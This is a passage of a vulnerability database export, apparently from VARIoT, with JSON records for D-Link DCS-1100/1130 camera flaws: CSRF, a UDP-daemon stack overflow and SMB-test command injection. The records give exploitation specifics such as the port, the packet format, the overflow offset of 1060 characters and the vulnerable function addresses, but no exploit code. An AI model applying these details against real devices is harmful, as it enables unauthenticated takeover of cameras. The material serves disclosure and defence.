into a state. D-LinkDCS-1130 is a network camera of D-Link Corporation of Taiwan, China. There is a security hole in D-LinkDCS-1130. The attacker can use this vulnerability to steal the credentials of the administrative user, control the device as the admin user, execute arbitrary code or modify the user password",
"sources": [
{
"db": "NVD",
"id": "CVE-2017-8406"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014557"
},
{
"db": "CNVD",
"id": "CNVD-2019-23341"
},
{
"db": "VULHUB",
"id": "VHN-116609"
},
{
"db": "VULMON",
"id": "CVE-2017-8406"
}
],
"trust": 2.34
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2017-8406",
"trust": 3.3
},
{
"db": "PACKETSTORM",
"id": "153226",
"trust": 1.9
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014557",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-201907-129",
"trust": 0.7
},
{
"db": "CNVD",
"id": "CNVD-2019-23341",
"trust": 0.6
},
{
"db": "VULHUB",
"id": "VHN-116609",
"trust": 0.1
},
{
"db": "VULMON",
"id": "CVE-2017-8406",
"trust": 0.1
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-23341"
},
{
"db": "VULHUB",
"id": "VHN-116609"
},
{
"db": "VULMON",
"id": "CVE-2017-8406"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014557"
},
{
"db": "PACKETSTORM",
"id": "153226"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-129"
},
{
"db": "NVD",
"id": "CVE-2017-8406"
}
]
},
"id": "VAR-201907-1066",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-23341"
},
{
"db": "VULHUB",
"id": "VHN-116609"
}
],
"trust": 1.50612245
},
"iot_taxonomy": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"category": [
"Network device"
],
"sub_category": null,
"trust": 0.6
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-23341"
}
]
},
"last_update_date": "2024-11-23T21:37:04.531000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "Top Page",
"trust": 0.8,
"url": "https://www.dlink.com/en/consumer"
},
{
"title": "IoT_vulnerabilities",
"trust": 0.1,
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities "
}
],
"sources": [
{
"db": "VULMON",
"id": "CVE-2017-8406"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014557"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-352",
"trust": 1.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-116609"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014557"
},
{
"db": "NVD",
"id": "CVE-2017-8406"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 2.6,
"url": "https://github.com/ethanhunnt/iot_vulnerabilities/blob/master/dlink_dcs_1130_security.pdf"
},
{
"trust": 2.4,
"url": "http://packetstormsecurity.com/files/153226/dlink-dcs-1130-command-injection-csrf-stack-overflow.html"
},
{
"trust": 2.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8406"
},
{
"trust": 1.8,
"url": "https://seclists.org/bugtraq/2019/jun/8"
},
{
"trust": 0.8,
"url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2017-8406"
},
{
"trust": 0.1,
"url": "https://cwe.mitre.org/data/definitions/352.html"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov"
},
{
"trust": 0.1,
"url": "https://github.com/ethanhunnt/iot_vulnerabilities"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8408"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8413"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8405"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8410"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8412"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8409"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8415"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8417"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8404"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8416"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8411"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8407"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8414"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-23341"
},
{
"db": "VULHUB",
"id": "VHN-116609"
},
{
"db": "VULMON",
"id": "CVE-2017-8406"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014557"
},
{
"db": "PACKETSTORM",
"id": "153226"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-129"
},
{
"db": "NVD",
"id": "CVE-2017-8406"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "CNVD",
"id": "CNVD-2019-23341"
},
{
"db": "VULHUB",
"id": "VHN-116609"
},
{
"db": "VULMON",
"id": "CVE-2017-8406"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014557"
},
{
"db": "PACKETSTORM",
"id": "153226"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-129"
},
{
"db": "NVD",
"id": "CVE-2017-8406"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2019-07-18T00:00:00",
"db": "CNVD",
"id": "CNVD-2019-23341"
},
{
"date": "2019-07-02T00:00:00",
"db": "VULHUB",
"id": "VHN-116609"
},
{
"date": "2019-07-02T00:00:00",
"db": "VULMON",
"id": "CVE-2017-8406"
},
{
"date": "2019-07-10T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2017-014557"
},
{
"date": "2019-06-07T15:06:02",
"db": "PACKETSTORM",
"id": "153226"
},
{
"date": "2019-07-02T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201907-129"
},
{
"date": "2019-07-02T20:15:10.967000",
"db": "NVD",
"id": "CVE-2017-8406"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2019-07-19T00:00:00",
"db": "CNVD",
"id": "CNVD-2019-23341"
},
{
"date": "2019-07-09T00:00:00",
"db": "VULHUB",
"id": "VHN-116609"
},
{
"date": "2021-04-26T00:00:00",
"db": "VULMON",
"id": "CVE-2017-8406"
},
{
"date": "2019-07-10T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2017-014557"
},
{
"date": "2021-04-27T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201907-129"
},
{
"date": "2024-11-21T03:33:58.360000",
"db": "NVD",
"id": "CVE-2017-8406"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201907-129"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "D-Link DCS-1130 Device cross-site request forgery vulnerability",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2017-014557"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "cross-site request forgery",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201907-129"
}
],
"trust": 0.6
}
}
var-201907-1076
Vulnerability from variot
An issue was discovered on D-Link DCS-1100 and DCS-1130 devices. The device runs a custom daemon on UDP port 5978 which is called "dldps2121" and listens for broadcast packets sent on 255.255.255.255. This daemon handles custom D-Link UDP based protocol that allows D-Link mobile applications and desktop applications to discover D-Link devices on the local network. The binary processes the received UDP packets sent from any device in "main" function. One path in the function traverses towards a block of code that processing of packets which does an unbounded copy operation which allows to overflow the buffer. The custom protocol created by Dlink follows the following pattern: Packetlen, Type of packet; M=MAC address of device or broadcast; D=Device Type;C=base64 encoded command string;test=1111 We can see at address function starting at address 0x0000DBF8 handles the entire UDP packet and performs an insecure copy using strcpy function at address 0x0000DC88. This results in overflowing the stack pointer after 1060 characters and thus allows to control the PC register and results in code execution. The same form of communication can be initiated by any process including an attacker process on the mobile phone or the desktop and this allows a third-party application on the device to execute commands on the device without any authentication by sending just 1 UDP packet with custom base64 encoding. D-Link DCS-1100 and DCS-1130 The device contains a buffer error vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. The D-LinkDCS-1100 and D-LinkDCS-1130 are both network cameras from D-Link Corporation of Taiwan, China. A buffer error vulnerability exists in the D-LinkDCS-1100 and DCS-1130. A local attacker can exploit this vulnerability to perform arbitrary commands on the device without authentication. This vulnerability stems from the incorrect verification of data boundaries when the network system or product performs operations on the memory, resulting in incorrect read and write operations to other associated memory locations. Attackers can exploit this vulnerability to cause buffer overflow or heap overflow, etc
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201907-1076",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "dcs-1130",
"scope": null,
"trust": 1.4,
"vendor": "d link",
"version": null
},
{
"model": "dcs-1100",
"scope": null,
"trust": 1.4,
"vendor": "d link",
"version": null
},
{
"model": "dcs-1130",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": null
},
{
"model": "dcs-1100",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": null
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-21249"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014560"
},
{
"db": "NVD",
"id": "CVE-2017-8416"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"cpe_match": [
{
"cpe22Uri": "cpe:/o:d-link:dcs-1110_firmware",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/o:d-link:dcs-1130_firmware",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2017-014560"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Mandar Satam",
"sources": [
{
"db": "PACKETSTORM",
"id": "153226"
}
],
"trust": 0.1
},
"cve": "CVE-2017-8416",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "LOW",
"accessVector": "ADJACENT_NETWORK",
"authentication": "NONE",
"author": "nvd@nist.gov",
"availabilityImpact": "COMPLETE",
"baseScore": 8.3,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 6.5,
"id": "CVE-2017-8416",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 1.9,
"vectorString": "AV:A/AC:L/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "LOCAL",
"authentication": "NONE",
"author": "CNVD",
"availabilityImpact": "COMPLETE",
"baseScore": 7.2,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 3.9,
"id": "CNVD-2019-21249",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 0.6,
"vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "ADJACENT_NETWORK",
"authentication": "NONE",
"author": "VULHUB",
"availabilityImpact": "COMPLETE",
"baseScore": 8.3,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 6.5,
"id": "VHN-116619",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 0.1,
"vectorString": "AV:A/AC:L/AU:N/C:C/I:C/A:C",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "ADJACENT",
"author": "nvd@nist.gov",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 2.8,
"id": "CVE-2017-8416",
"impactScore": 5.9,
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"trust": 1.0,
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
{
"attackComplexity": "Low",
"attackVector": "Adjacent Network",
"author": "NVD",
"availabilityImpact": "High",
"baseScore": 8.8,
"baseSeverity": "High",
"confidentialityImpact": "High",
"exploitabilityScore": null,
"id": "CVE-2017-8416",
"impactScore": null,
"integrityImpact": "High",
"privilegesRequired": "None",
"scope": "Unchanged",
"trust": 0.8,
"userInteraction": "None",
"vectorString": "CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2017-8416",
"trust": 1.0,
"value": "HIGH"
},
{
"author": "NVD",
"id": "CVE-2017-8416",
"trust": 0.8,
"value": "High"
},
{
"author": "CNVD",
"id": "CNVD-2019-21249",
"trust": 0.6,
"value": "HIGH"
},
{
"author": "CNNVD",
"id": "CNNVD-201907-132",
"trust": 0.6,
"value": "HIGH"
},
{
"author": "VULHUB",
"id": "VHN-116619",
"trust": 0.1,
"value": "HIGH"
},
{
"author": "VULMON",
"id": "CVE-2017-8416",
"trust": 0.1,
"value": "HIGH"
}
]
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-21249"
},
{
"db": "VULHUB",
"id": "VHN-116619"
},
{
"db": "VULMON",
"id": "CVE-2017-8416"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014560"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-132"
},
{
"db": "NVD",
"id": "CVE-2017-8416"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "An issue was discovered on D-Link DCS-1100 and DCS-1130 devices. The device runs a custom daemon on UDP port 5978 which is called \"dldps2121\" and listens for broadcast packets sent on 255.255.255.255. This daemon handles custom D-Link UDP based protocol that allows D-Link mobile applications and desktop applications to discover D-Link devices on the local network. The binary processes the received UDP packets sent from any device in \"main\" function. One path in the function traverses towards a block of code that processing of packets which does an unbounded copy operation which allows to overflow the buffer. The custom protocol created by Dlink follows the following pattern: Packetlen, Type of packet; M=MAC address of device or broadcast; D=Device Type;C=base64 encoded command string;test=1111 We can see at address function starting at address 0x0000DBF8 handles the entire UDP packet and performs an insecure copy using strcpy function at address 0x0000DC88. This results in overflowing the stack pointer after 1060 characters and thus allows to control the PC register and results in code execution. The same form of communication can be initiated by any process including an attacker process on the mobile phone or the desktop and this allows a third-party application on the device to execute commands on the device without any authentication by sending just 1 UDP packet with custom base64 encoding. D-Link DCS-1100 and DCS-1130 The device contains a buffer error vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. The D-LinkDCS-1100 and D-LinkDCS-1130 are both network cameras from D-Link Corporation of Taiwan, China. A buffer error vulnerability exists in the D-LinkDCS-1100 and DCS-1130. A local attacker can exploit this vulnerability to perform arbitrary commands on the device without authentication. This vulnerability stems from the incorrect verification of data boundaries when the network system or product performs operations on the memory, resulting in incorrect read and write operations to other associated memory locations. Attackers can exploit this vulnerability to cause buffer overflow or heap overflow, etc",
"sources": [
{
"db": "NVD",
"id": "CVE-2017-8416"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014560"
},
{
"db": "CNVD",
"id": "CNVD-2019-21249"
},
{
"db": "VULHUB",
"id": "VHN-116619"
},
{
"db": "VULMON",
"id": "CVE-2017-8416"
}
],
"trust": 2.34
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2017-8416",
"trust": 3.3
},
{
"db": "PACKETSTORM",
"id": "153226",
"trust": 2.5
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014560",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-201907-132",
"trust": 0.7
},
{
"db": "CNVD",
"id": "CNVD-2019-21249",
"trust": 0.6
},
{
"db": "VULHUB",
"id": "VHN-116619",
"trust": 0.1
},
{
"db": "VULMON",
"id": "CVE-2017-8416",
"trust": 0.1
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-21249"
},
{
"db": "VULHUB",
"id": "VHN-116619"
},
{
"db": "VULMON",
"id": "CVE-2017-8416"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014560"
},
{
"db": "PACKETSTORM",
"id": "153226"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-132"
},
{
"db": "NVD",
"id": "CVE-2017-8416"
}
]
},
"id": "VAR-201907-1076",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-21249"
},
{
"db": "VULHUB",
"id": "VHN-116619"
}
],
"trust": 1.30915275
},
"iot_taxonomy": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"category": [
"Network device"
],
"sub_category": null,
"trust": 0.6
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-21249"
}
]
},
"last_update_date": "2024-11-23T21:37:05.022000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "Top Page",
"trust": 0.8,
"url": "https://www.dlink.com/en/consumer"
},
{
"title": "IoT_vulnerabilities",
"trust": 0.1,
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities "
}
],
"sources": [
{
"db": "VULMON",
"id": "CVE-2017-8416"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014560"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-119",
"trust": 1.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-116619"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014560"
},
{
"db": "NVD",
"id": "CVE-2017-8416"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 3.2,
"url": "https://github.com/ethanhunnt/iot_vulnerabilities/blob/master/dlink_dcs_1130_security.pdf"
},
{
"trust": 3.0,
"url": "http://packetstormsecurity.com/files/153226/dlink-dcs-1130-command-injection-csrf-stack-overflow.html"
},
{
"trust": 1.8,
"url": "https://seclists.org/bugtraq/2019/jun/8"
},
{
"trust": 1.5,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8416"
},
{
"trust": 0.8,
"url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2017-8416"
},
{
"trust": 0.1,
"url": "https://cwe.mitre.org/data/definitions/119.html"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov"
},
{
"trust": 0.1,
"url": "https://github.com/ethanhunnt/iot_vulnerabilities"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8408"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8413"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8405"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8406"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8410"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8412"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8409"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8415"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8417"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8404"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8411"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8407"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-8414"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2019-21249"
},
{
"db": "VULHUB",
"id": "VHN-116619"
},
{
"db": "VULMON",
"id": "CVE-2017-8416"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014560"
},
{
"db": "PACKETSTORM",
"id": "153226"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-132"
},
{
"db": "NVD",
"id": "CVE-2017-8416"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "CNVD",
"id": "CNVD-2019-21249"
},
{
"db": "VULHUB",
"id": "VHN-116619"
},
{
"db": "VULMON",
"id": "CVE-2017-8416"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-014560"
},
{
"db": "PACKETSTORM",
"id": "153226"
},
{
"db": "CNNVD",
"id": "CNNVD-201907-132"
},
{
"db": "NVD",
"id": "CVE-2017-8416"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2019-07-04T00:00:00",
"db": "CNVD",
"id": "CNVD-2019-21249"
},
{
"date": "2019-07-02T00:00:00",
"db": "VULHUB",
"id": "VHN-116619"
},
{
"date": "2019-07-02T00:00:00",
"db": "VULMON",
"id": "CVE-2017-8416"
},
{
"date": "2019-07-11T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2017-014560"
},
{
"date": "2019-06-07T15:06:02",
"db": "PACKETSTORM",
"id": "153226"
},
{
"date": "2019-07-02T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201907-132"
},
{
"date": "2019-07-02T21:15:10.573000",
"db": "NVD",
"id": "CVE-2017-8416"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2019-07-04T00:00:00",
"db": "CNVD",
"id": "CNVD-2019-21249"
},
{
"date": "2019-07-10T00:00:00",
"db": "VULHUB",
"id": "VHN-116619"
},
{
"date": "2021-04-23T00:00:00",
"db": "VULMON",
"id": "CVE-2017-8416"
},
{
"date": "2019-07-11T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2017-014560"
},
{
"date": "2021-04-25T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201907-132"
},
{
"date": "2024-11-21T03:33:59.933000",
"db": "NVD",
"id": "CVE-2017-8416"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote or local",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201907-132"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "D-Link DCS-1100 and DCS-1130 Device buffer error vulnerability",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2017-014560"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "buffer error",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201907-132"
}
],
"trust": 0.6
}
}
var-201907-1068
Vulnerability from variot
An issue was discovered on D-Link DCS-1130 devices. The device provides a user with the capability of setting a SMB folder for the video clippings recorded by the device. It seems that the GET parameters passed in this request (to test if SMB credentials and hostname sent to the device work properly) result in being passed as commands to a "system" API in the function and thus result in command injection on the device. If the firmware version is dissected using binwalk tool, we obtain a cramfs-root archive which contains the filesystem set up on the device that contains all the binaries. The binary "cgibox" is the one that has the vulnerable function "sub_7EAFC" that receives the values sent by the GET request. If we open this binary in IDA-pro we will notice that this follows a ARM little endian format. The function sub_7EAFC in IDA pro is identified to be receiving the values sent in the GET request and the value set in GET parameter "user" is extracted in function sub_7E49C which is then passed to the vulnerable system API call. D-Link DCS-1130 The device contains a command injection vulnerability.Information 